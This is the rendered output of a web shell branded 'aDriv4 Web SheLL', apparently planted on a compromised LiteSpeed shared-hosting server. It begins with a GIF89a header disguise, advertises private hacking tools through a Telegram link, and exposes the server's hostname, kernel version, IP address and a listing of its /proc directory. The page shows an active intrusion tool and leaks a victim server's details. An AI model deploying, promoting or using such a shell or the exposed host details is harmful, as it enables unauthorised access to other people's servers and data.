GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 63.250.38.10
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-20 09:14:14
.. dir - root/root 0755 2025-08-05 05:31:51
3751331 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
3830369 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
3955601 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4081890 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4082420 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4082891 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:58:40
4085304 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4086457 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4087230 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4089157 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4101757 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4103830 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
4106620 dir - vosyimcw/vosyimcw 0555 2025-08-21 05:57:08
acpi dir - root/root 0555 2025-06-20 09:14:17
bus dir - root/root 0555 2025-06-20 09:14:26
driver dir - root/root 0555 2025-08-21 05:59:13
fs dir - root/root 0555 2025-06-20 09:14:26
irq dir - root/root 0555 2025-06-20 09:14:26
kcare dir - root/root 0555 2025-08-21 05:59:13
lve dir - root/root 0555 2025-08-21 05:59:05
net link - vosyimcw/vosyimcw 0555 2025-08-21 05:59:18
scsi dir - root/root 0555 2025-06-20 09:14:26
self link - vosyimcw/vosyimcw 0555 2025-08-21 05:59:02
sys dir - root/root 0555 2025-06-20 09:14:15
sysvipc dir - root/root 0555 2025-08-21 05:59:13
thread-self link - vosyimcw/vosyimcw 0555 2025-08-21 05:59:06
tty dir - root/root 0555 2025-08-21 05:59:13
buddyinfo 0 B root/root 0444 2025-08-21 05:59:13
cgroups 0 B root/root 0444 2025-08-21 05:59:13
cmdline text/plain 0 B root/root 0444 2025-08-21 05:59:06
consoles 0 B root/root 0444 2025-08-21 05:59:13
cpuinfo text/plain 0 B root/root 0444 2025-08-21 05:59:06
crypto 0 B root/root 0444 2025-08-21 05:59:13
devices 0 B root/root 0444 2025-08-21 05:59:13
diskstats 0 B root/root 0444 2025-08-21 05:59:13
dma 0 B root/root 0444 2025-08-21 05:59:13
execdomains 0 B root/root 0444 2025-08-21 05:59:13
fb 0 B root/root 0444 2025-08-21 05:59:13
filesystems text/plain 0 B root/root 0444 2025-08-21 05:59:04
interrupts 0 B root/root 0444 2025-08-21 05:59:13
iomem 0 B root/root 0444 2025-08-21 05:59:13
ioports 0 B root/root 0444 2025-08-21 05:59:13
kallsyms 0 B root/root 0444 2025-06-20 09:14:26
kcore 128 TB root/root 0400 2025-06-20 09:14:17
key-users 0 B root/root 0444 2025-08-21 05:59:13
keys 0 B root/root 0444 2025-08-21 05:59:13
kmsg 0 B root/root 0400 2025-08-21 05:59:13
kpagecgroup 0 B root/root 0400 2025-08-21 05:59:13
kpagecount 0 B root/root 0400 2025-08-21 05:59:13
kpageflags 0 B root/root 0400 2025-08-21 05:59:13
loadavg text/plain 0 B root/root 0444 2025-08-21 05:59:06
locks 0 B root/root 0444 2025-08-21 05:59:13
mdstat 0 B root/root 0444 2025-08-21 05:59:13
meminfo text/plain 0 B root/root 0444 2025-08-21 05:59:06
misc 0 B root/root 0444 2025-08-21 05:59:13
modules 0 B root/root 0444 2025-08-21 05:59:13
mounts text/plain 0 B vosyimcw/vosyimcw 0444 2025-08-21 05:59:18
mtrr 0 B root/root 0644 2025-06-20 09:14:26
pagetypeinfo 0 B root/root 0400 2025-08-21 05:59:13
partitions 0 B root/root 0444 2025-08-21 05:59:13
sched_debug 0 B root/root 0444 2025-08-21 05:59:13
schedstat 0 B root/root 0444 2025-08-21 05:59:13
slabinfo 0 B root/root 0400 2025-08-21 05:59:13
softirqs 0 B root/root 0444 2025-08-21 05:59:13
stat text/plain 0 B root/root 0444 2025-08-21 05:59:03
swaps 0 B root/root 0444 2025-06-20 09:14:15
sysrq-trigger 0 B root/root 0200 2025-06-20 09:14:26
timer_list 0 B root/root 0400 2025-08-21 05:59:13
uptime text/plain 0 B root/root 0444 2025-08-21 05:59:13
version text/plain 0 B root/root 0444 2025-08-21 05:59:13
vmallocinfo 0 B root/root 0400 2025-08-21 05:59:13
vmstat 0 B root/root 0444 2025-08-21 05:59:13
zoneinfo 0 B root/root 0444 2025-08-21 05:59:13
© aDriv4